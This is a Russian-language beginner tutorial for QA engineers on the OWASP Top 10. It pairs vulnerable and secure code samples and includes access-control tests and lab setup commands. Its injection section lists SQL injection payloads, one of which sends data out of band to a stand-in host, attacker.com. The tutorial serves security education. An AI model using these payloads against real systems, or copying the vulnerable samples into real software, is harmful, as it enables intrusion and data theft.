OWASP Top 10: Полное погружение для новичков

Всё, что нужно знать о самых критических рисках безопасности веб-приложений — объяснено простыми словами!


🎯 Для кого эта статья?

Эта статья создана для:

  • Полных новичков, которые только начинают изучать безопасность
  • QA инженеров, которые хотят понять OWASP Top 10
  • Разработчиков, желающих писать более безопасный код
  • Студентов, готовящихся к собеседованиям

Никаких предварительных знаний не требуется! Мы объясним всё с простыми аналогиями.


📍 Вы находитесь здесь:

[✓] Статья 1: Основы QA
[✓] Статья 2: Практика QA  
[✓] Статья 3: DSA для QA
[✓] Статья 4: Фреймворки автоматизации
[✓] Статья 5: CI/CD
[✓] Статья 6: Техники тест-дизайна
[✓] Статья 7: Нагрузочное тестирование
[✓] Статья 8: Работа в Apple
[✓] Статья 9: Тестирование безопасности
[→] Статья 10: OWASP Top 10 - Глубокое погружение

Прогресс: 100% + Бонус ✨

📚 Прежде чем начать: Основы безопасности 101

Что такое уязвимость?

Уязвимость — это слабое место в программе, которое хакер может использовать. Подумайте об этом как о:

🔓 Незапертая дверь → Хакер может войти
🪟 Открытое окно → Хакер может влезть
📝 Пароль на записке → Хакер может его украсть

Что такое OWASP?

OWASP = Open Web Application Security Project (Открытый проект безопасности веб-приложений)

  • 🌍 Некоммерческая организация
  • 📊 Собирает данные от 500,000+ приложений
  • 📋 Создаёт Top 10 — список самых опасных уязвимостей
  • 🔄 Обновляется каждые 3-4 года

OWASP Top 10 — Краткий обзор

#НазваниеОбъяснение для 5-летнего
A01Нарушение контроля доступа”Попал в чужую комнату!”
A02Криптографические сбои”Секреты хранятся открыто”
A03Инъекции”Злые команды в текстовом поле”
A04Небезопасный дизайн”Дом построили без замков”
A05Неправильная конфигурация”Ключ оставили под ковриком”
A06Устаревшие компоненты”Старый ржавый замок”
A07Проблемы с идентификацией”Пустили без проверки документов”
A08Нарушение целостности”Кто-то подменил посылку”
A09Отсутствие логирования”Нет камер наблюдения”
A10Подделка запросов (SSRF)“Обманули охранника открыть дверь”

🔬 Как практиковаться (безопасно и легально)

Прежде чем тестировать уязвимости, вам нужна безопасная среда. Вот как её настроить:

Вариант 1: OWASP WebGoat (Рекомендуется для новичков)

# Установите Docker, затем запустите:
docker run -p 8080:8080 webgoat/webgoat
# Откройте: http://localhost:8080/WebGoat

Вариант 2: DVWA (Damn Vulnerable Web Application)

docker run -d -p 80:80 vulnerables/web-dvwa
# Откройте: http://localhost
# Логин: admin / Пароль: password

Вариант 3: Juice Shop (Современный)

docker run -p 3000:3000 bkimminich/juice-shop
# Откройте: http://localhost:3000

⚠️ ВАЖНО: НИКОГДА не тестируйте эти техники на реальных сайтах без разрешения! Это незаконно.


Что такое OWASP?

OWASP (Open Web Application Security Project) — это некоммерческий фонд, работающий над улучшением безопасности программного обеспечения. OWASP Top 10 — их флагманский документ, обновляемый каждые 3-4 года на основе реальных данных от сотен организаций.

Почему OWASP Top 10 важен

📊 Основан на данных от 500,000+ приложений
🌍 Индустриальный стандарт веб-безопасности
📋 Обязательные знания для сертификаций по безопасности
💼 Ожидается на большинстве собеседований QA/SDET
🔒 Фундамент для тестирования безопасности

Эволюция OWASP Top 10

ГодФокусные области
2017Injection #1, XSS отдельно
2021Broken Access Control #1, добавлены новые категории
2024+Ожидается: безопасность API, безопасность AI/ML

A01:2021 - Нарушение контроля доступа

🏨 Простая аналогия: Гостиница

Представьте гостиницу, где:

  • Вам выдали ключ от комнаты 101
  • Но этот ключ вдруг открывает ВСЕ комнаты!
  • Вы можете войти в комнату 102, 103, 104…
  • Это Broken Access Control (Нарушение контроля доступа)! 🏨

🎯 Обзор

Broken Access Control переместился с #5 (2017) на #1 (2021). Возникает, когда пользователи могут действовать за пределами своих разрешений.

Импакт: Несанкционированный доступ к данным, повышение привилегий, кража данных, захват системы.

🎮 Попробуйте сами: Упражнение IDOR

IDOR = Insecure Direct Object Reference (Небезопасная прямая ссылка на объект)

Шаг 1: Найдите URL с ID
   https://example.com/profile/123
   
Шаг 2: Войдите как пользователь с ID 123

Шаг 3: Попробуйте изменить число:
   https://example.com/profile/124
   https://example.com/profile/1
   https://example.com/profile/admin
   
Шаг 4: Если вы видите чужие данные — это IDOR! 🐛

Попробуйте также:
   /api/users/123/orders
   /api/users/124/orders  ← Чужие заказы?
   
   /download?file=report_123.pdf
   /download?file=report_124.pdf  ← Чужой отчёт?

Реальные примеры

🔴 2019: Capital One Breach - 100M записей раскрыто через SSRF
🔴 2021: Parler Data Leak - Последовательные ID позволили скачать все посты
🔴 2022: T-Mobile API - Злоумышленники получили доступ к 37M записей клиентов

Типы уязвимостей контроля доступа

1. Горизонтальное повышение привилегий (IDOR)

Пользователь A получает доступ к ресурсам пользователя B.

# УЯЗВИМО: Нет проверки владельца
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = Order.query.get(order_id)
    return jsonify(order.to_dict())  # Любой может получить любой заказ!

# БЕЗОПАСНО: Проверка владельца
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
    order = Order.query.get(order_id)
    if order.user_id != current_user.id:
        abort(403)  # Запрещено
    return jsonify(order.to_dict())

2. Вертикальное повышение привилегий

Обычный пользователь получает права администратора.

# УЯЗВИМО: Только проверка авторизации
@app.route('/admin/users')
@login_required
def admin_users():
    return User.query.all()  # Любой авторизованный пользователь имеет доступ!

# БЕЗОПАСНО: Проверка роли
@app.route('/admin/users')
@login_required
@admin_required  # Декоратор проверяет роль
def admin_users():
    return User.query.all()

3. Отсутствие контроля доступа на уровне функций

// Фронтенд скрывает кнопку админа, но...
// УЯЗВИМО: API не имеет контроля доступа
app.post('/api/delete-user/:id', (req, res) => {
    User.delete(req.params.id);  // Нет проверки роли!
    res.json({ success: true });
});

// БЕЗОПАСНО: Всегда проверять на бэкенде
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
    User.delete(req.params.id);
    res.json({ success: true });
});

Полный набор тестов контроля доступа

import pytest
from app import create_app, db
from models import User, Order

class TestAccessControl:
    """Комплексный набор тестов контроля доступа"""
    
    @pytest.fixture
    def setup(self):
        """Создаём тестовых пользователей с разными ролями"""
        self.admin = User(username='admin', role='admin')
        self.user1 = User(username='user1', role='user')
        self.user2 = User(username='user2', role='user')
        self.order1 = Order(user=self.user1, amount=100)
        self.order2 = Order(user=self.user2, amount=200)
        db.session.add_all([self.admin, self.user1, self.user2, 
                           self.order1, self.order2])
        db.session.commit()
    
    # ========== IDOR Тесты ==========
    
    def test_idor_order_access(self, client, setup):
        """Пользователь не должен получить доступ к заказу другого пользователя"""
        # Логинимся как user1
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # Доступ к своему заказу - должен успешно
        response = client.get(f'/api/orders/{self.order1.id}')
        assert response.status_code == 200
        
        # Доступ к заказу user2 - должен провалиться
        response = client.get(f'/api/orders/{self.order2.id}')
        assert response.status_code == 403
    
    # ========== Тесты вертикальной эскалации ==========
    
    def test_regular_user_cannot_access_admin_panel(self, client, setup):
        """Обычный пользователь не должен получить доступ к админским эндпоинтам"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        admin_endpoints = [
            '/admin/dashboard',
            '/admin/users',
            '/admin/settings',
            '/api/admin/reports',
            '/api/admin/logs',
        ]
        
        for endpoint in admin_endpoints:
            response = client.get(endpoint)
            assert response.status_code in [401, 403], \
                f"Пользователь получил доступ к админскому эндпоинту: {endpoint}"

A02:2021 - Криптографические сбои

🎯 Обзор

Ранее называлось “Раскрытие конфиденциальных данных”. Фокусируется на сбоях, связанных с криптографией, которые приводят к раскрытию чувствительных данных.

Импакт: Утечки данных, кража личности, нарушения комплаенса (GDPR, PCI-DSS).

Реальные примеры

🔴 2013: Adobe Breach - 153M паролей со слабым шифрованием (3DES)
🔴 2016: LinkedIn - 117M паролей с несолёным SHA-1
🔴 2019: Facebook - 600M паролей хранились в открытом виде

Типы криптографических сбоев

1. Данные в пути

# УЯЗВИМО: HTTP без TLS
requests.post('http://api.example.com/login', 
              data={'password': 'secret123'})

# БЕЗОПАСНО: HTTPS с проверкой сертификата
requests.post('https://api.example.com/login', 
              data={'password': 'secret123'},
              verify=True)

2. Данные в покое

# УЯЗВИМО: Хранение пароля в открытом виде
def create_user(username, password):
    user = User(username=username, password=password)  # Открытый текст!
    db.save(user)

# УЯЗВИМО: Слабое хеширование (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# БЕЗОПАСНО: Использовать bcrypt с солью
from bcrypt import hashpw, gensalt, checkpw

def create_user(username, password):
    hashed = hashpw(password.encode(), gensalt(rounds=12))
    user = User(username=username, password_hash=hashed)
    db.save(user)

A03:2021 - Инъекции

🎯 Обзор

Уязвимости инъекций возникают, когда недоверенные данные отправляются интерпретатору как часть команды или запроса.

Импакт: Кража данных, повреждение данных, отказ в обслуживании, полная компрометация системы.

Типы инъекционных атак

┌─────────────────────────────────────────────────────────┐
│                    ТИПЫ ИНЪЕКЦИЙ                        │
├─────────────────────────────────────────────────────────┤
│  SQL Injection      │ Запросы к базе данных            │
│  NoSQL Injection    │ Запросы MongoDB, CouchDB         │
│  OS Command         │ Команды оболочки                  │
│  LDAP Injection     │ Службы каталогов                  │
│  XPath Injection    │ XML запросы                       │
│  Template Injection │ Серверные шаблоны (SSTI)         │
│  Header Injection   │ HTTP заголовки                    │
│  Log Injection      │ Логи приложения                   │
└─────────────────────────────────────────────────────────┘

Глубокое погружение в SQL Injection

Типы SQL Injection

-- 1. UNION-based (извлечение данных)
' UNION SELECT username, password FROM users--

-- 2. Error-based (извлечение через ошибки)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--

-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--

-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--

-- 5. Out-of-band (DNS/HTTP эксфильтрация)
'; EXEC xp_dirtree '//attacker.com/share'--

Глубокое погружение в XSS

Типы XSS

┌────────────────────────────────────────────────────────┐
│                     ТИПЫ XSS                           │
├────────────────────────────────────────────────────────┤
│  Stored XSS     │ Скрипт сохранён в базе данных       │
│                 │ Выполняется при загрузке страницы    │
│                 │ Пример: Пост форума, био профиля     │
├────────────────────────────────────────────────────────┤
│  Reflected XSS  │ Скрипт в URL/запросе                │
│                 │ Отражается обратно в ответе          │
│                 │ Пример: Результаты поиска, ошибки    │
├────────────────────────────────────────────────────────┤
│  DOM XSS        │ Скрипт манипулирует DOM напрямую    │
│                 │ Без участия сервера                  │
│                 │ Пример: document.write(location)     │
└────────────────────────────────────────────────────────┘

A04:2021 - Небезопасный дизайн

🎯 Обзор

НОВОЕ в 2021. Фокусируется на дефектах дизайна, а не на ошибках реализации. Это фундаментальные архитектурные проблемы, которые нельзя исправить только лучшим кодом.

Импакт: Недостатки бизнес-логики, обход контролей безопасности, мошенничество, потеря данных.

Паттерны небезопасного дизайна

1. Отсутствие ограничения частоты запросов

# НЕБЕЗОПАСНЫЙ ДИЗАЙН: Нет rate limiting на сброс пароля
@app.route('/reset-password', methods=['POST'])
def reset_password():
    email = request.form['email']
    send_reset_email(email)  # Можно вызывать неограниченно!
    return "Reset email sent"

# БЕЗОПАСНЫЙ ДИЗАЙН: Rate limiting + верификация
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour")  # Макс 3 запроса в час на IP
def reset_password():
    email = request.form['email']
    
    if User.query.filter_by(email=email).first():
        send_reset_email(email)
    
    # Всегда возвращать одинаковый ответ (предотвращение enumeration)
    return "Если email существует, ссылка для сброса отправлена"

A05:2021 - Неправильная конфигурация безопасности

🎯 Обзор

Неправильная конфигурация безопасности — когда настройки безопасности определены, реализованы или поддерживаются неправильно.

Импакт: Раскрытие информации, компрометация системы, эксплуатация учётных данных по умолчанию.

Справочник по заголовкам безопасности

# Необходимые заголовки безопасности

# 1. Strict-Transport-Security (HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# 2. Content-Security-Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'

# 3. X-Content-Type-Options
X-Content-Type-Options: nosniff

# 4. X-Frame-Options
X-Frame-Options: DENY

# 5. X-XSS-Protection
X-XSS-Protection: 1; mode=block

# 6. Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin

A06:2021 - Уязвимые и устаревшие компоненты

🎯 Обзор

Использование компонентов с известными уязвимостями может подорвать защиту приложения.

Импакт: Эксплуатация известных CVE, утечки данных, компрометация системы.

Реальные примеры

🔴 2017: Equifax - Непропатченный Apache Struts → 147M записей
🔴 2021: Log4Shell - Самая критическая уязвимость десятилетия
🔴 2022: Spring4Shell - Spring Framework RCE

Тестирование уязвимостей компонентов

# JavaScript/Node.js
npm audit

# Python
pip-audit
safety check

# Docker образы
docker scan myimage:latest
trivy image myimage:latest

A07:2021 - Ошибки идентификации и аутентификации

🎯 Обзор

Ранее “Broken Authentication”. Слабости в подтверждении личности пользователя и управлении сессиями.

Импакт: Захват аккаунта, кража личности, несанкционированный доступ.

Уязвимости аутентификации

┌────────────────────────────────────────────────────────┐
│           УЯЗВИМОСТИ АУТЕНТИФИКАЦИИ                    │
├────────────────────────────────────────────────────────┤
│  Слабые пароли        │ Нет требований к сложности    │
│  Credential stuffing  │ Нет rate limiting             │
│  Session fixation     │ Session ID не меняется        │
│  Session hijacking    │ Небезопасные токены сессий    │
│  Broken "remember me" │ Проблемы с постоянными токенами│
│  Password reset flaws │ Предсказуемые токены          │
│  MFA bypass          │ Слабая реализация MFA          │
└────────────────────────────────────────────────────────┘

A08:2021 - Нарушения целостности ПО и данных

🎯 Обзор

НОВАЯ категория, объединяющая A08:2017-Небезопасную десериализацию с новыми рисками, связанными с CI/CD и цепочкой поставок ПО.

Импакт: Удалённое выполнение кода, атаки на цепочку поставок, вредоносные обновления.

Небезопасная десериализация

# УЯЗВИМО: Десериализация Pickle
import pickle

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return pickle.loads(base64.b64decode(session_data))  # RCE!

# БЕЗОПАСНО: Использовать JSON или подписанную сериализацию
import json
from itsdangerous import URLSafeSerializer

serializer = URLSafeSerializer(app.secret_key)

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return serializer.loads(session_data)  # Безопасно!

A09:2021 - Ошибки логирования и мониторинга

🎯 Обзор

Недостаточное логирование, обнаружение, мониторинг и активное реагирование позволяют злоумышленникам продолжать атаки.

Импакт: Необнаруженные взломы, задержка реагирования на инциденты, нарушения комплаенса.

Что должно логироваться

┌────────────────────────────────────────────────────────┐
│              СОБЫТИЯ БЕЗОПАСНОСТИ ДЛЯ ЛОГИРОВАНИЯ      │
├────────────────────────────────────────────────────────┤
│  Аутентификация       │ Входы, неудачи, блокировки    │
│  Авторизация          │ События отказа в доступе      │
│  Валидация ввода      │ Отклонённый вредоносный ввод  │
│  Управление сессиями  │ Создание, уничтожение         │
│  Чувствительные операции│ Смена пароля, платежи       │
│  Действия админа      │ Создание пользователей, роли  │
│  Системные события    │ Запуск, остановка, ошибки     │
└────────────────────────────────────────────────────────┘

A10:2021 - Подделка запросов на стороне сервера (SSRF)

🎯 Обзор

НОВОЕ в 2021. SSRF возникает, когда веб-приложение получает удалённый ресурс без валидации URL, предоставленного пользователем.

Импакт: Сканирование внутренней сети, доступ к метаданным облака, эксфильтрация данных.

Сценарии атак SSRF

┌────────────────────────────────────────────────────────┐
│                  ЦЕЛИ АТАК SSRF                        │
├────────────────────────────────────────────────────────┤
│  Метаданные облака    │ 169.254.169.254 (AWS/GCP/Azure)│
│  Внутренние сервисы   │ localhost, 127.0.0.1, 10.x.x.x│
│  Внутренние API       │ Внутренние микросервисы       │
│  База данных          │ Redis, MongoDB на localhost   │
│  Админ-панели         │ Внутренние админ-интерфейсы   │
│  Файловая система     │ file:// протокол              │
└────────────────────────────────────────────────────────┘

Практические лаборатории

Настройка лабораторной среды

# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat

# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa

# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop

# 4. PortSwigger Labs
# https://portswigger.net/web-security

Итоги: Краткий справочник OWASP Top 10

#УязвимостьФокус тестированияИнструменты
A01Broken Access ControlIDOR, эскалация привилегийBurp, ручное
A02Cryptographic FailuresHTTPS, хранение паролейSSLyze
A03InjectionSQLi, XSS, command injectionSQLMap, Burp
A04Insecure DesignБизнес-логика, rate limitingРучное
A05Security MisconfigurationЗаголовки, дефолты, ошибкиNikto, curl
A06Vulnerable ComponentsЗависимостиnpm audit, Snyk
A07Authentication FailuresСессии, пароли, MFABurp, ручное
A08Integrity FailuresДесериализация, CI/CDysoserial
A09Logging FailuresПокрытие логов, маскированиеАнализ логов
A10SSRFВалидация URL, метаданныеBurp, curl

Что дальше?

  1. Практикуйтесь ежедневно - WebGoat, DVWA, Juice Shop
  2. Получите сертификаты - CompTIA Security+, CEH, OSCP
  3. Участвуйте в bug bounty - HackerOne, Bugcrowd
  4. Читайте больше - OWASP Testing Guide, Web Hacker’s Handbook
  5. Следите за обновлениями - Подписывайтесь на OWASP

Освойте OWASP Top 10 и станьте QA инженером с фокусом на безопасность! 🔐